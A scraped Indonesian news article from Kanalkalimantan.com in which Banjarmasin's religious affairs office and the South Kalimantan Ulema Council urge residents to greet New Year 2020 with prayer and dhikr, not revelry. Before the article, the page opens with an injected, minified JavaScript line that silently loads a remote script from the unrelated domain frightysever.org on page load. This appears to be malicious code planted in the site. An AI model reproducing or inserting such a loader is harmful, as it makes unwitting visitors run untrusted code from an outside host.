(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ragam

Kemenag Banjarmasin-MUI Kalsel: Perbanyak Do’a, Jangan Hura-hura di Tahun Baru


BANJARMASIN, Setelah muncul imbauan untuk tidak merayakan tahun baru 2020 secara berlebihan dari Pemko Banjarmasin. Menyusul Majelis Ulama Indonesia (MUI) Provinsi Kalimantan Selatan dan Kementrian Agama (Kemenag) Kota Banjarmasin turut mendukung imbauan tersebut.

Kepala Kantor Kemenag Kota Banjarmasin Muhammad Rofi’i menganggap imbauan tersebut sangat baik.

“Begitulah seorang pimpinan memberikan masukan kepada masyarakatnya, karena diantaranya juga ada imbauan untuk memanfaatkan momen tahun baru dengan hal yang bermanfaat,” kata Muhammad Rofi’i, Senin (30/12).

Rofi’i juga menilai imbauan tersebut tidak tertuju kepada salah satu agama manapun.

“Ya, yang beragama Islam isi malam tahun baru dengan shalat, shalawat, dzikir. Begitu pula agama lain, sesuai dengan ajarannya. Yang penting dengan yang bermanfaat,” ungkapnya.

Ia mengajak masyarakat untuk tidak berhura-hura pada pada saat malam tahun baru 2020 nanti. Agar dapat menghargai masyarakat yang kurang mampu, terlebih yang terkena musibah.

Selaras dengan Kemenag Kota Banjarmasin, Ketua MUI Provinsi Kalsel KH Husin Naparim, melalui Sekretaris Umum H Muhammad Fadli Mansur mendukung penuh edaran yang disampaikan oleh Pemko Banjarmasin.

“Terkait imbauan itu, tentunya MUI Kalsel sangat mendukung dan apresiasi. Diharapkan juga Pemerintah Daerah yang lain secara formal melakukan hal yang sama,” ucap Muhammad Fadli Mansur kepada Kanalkalimantan.com.

Ia mengungkapkan, hal serupa juga pernah dilakukan MUI saat merubah tradisi di suatu daerah yang biasa hura-hura ketika pergantian tahun. “Yang senang pesta dan hura-hura tersebut kita ubah menjadi kegiatan keagamaan, dan ada beberapa Bupati melakukan hal yang sama,” tuturnya.

Fadli mengatakan hal tersebut sesuai dengan budaya masyarakat Banjar yang sangat agamis. MUI Provinsi Kalsel juga mengimbau masyarakat untuk memanfaatkan momen pergantian tahun dengan lebih mendekatkan diri kepada Allah SWT.

“Memperbanyak zikir, istighfar, tasbih, tahmid, tahlil dan takbir sebagai tanda bersyukur kita kepada Allah SWT. Sambil memohon doa agar tahun 2020 merupakan tahun keberkahan,” imbaunya. (riki)

 

Reporter : Riki
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.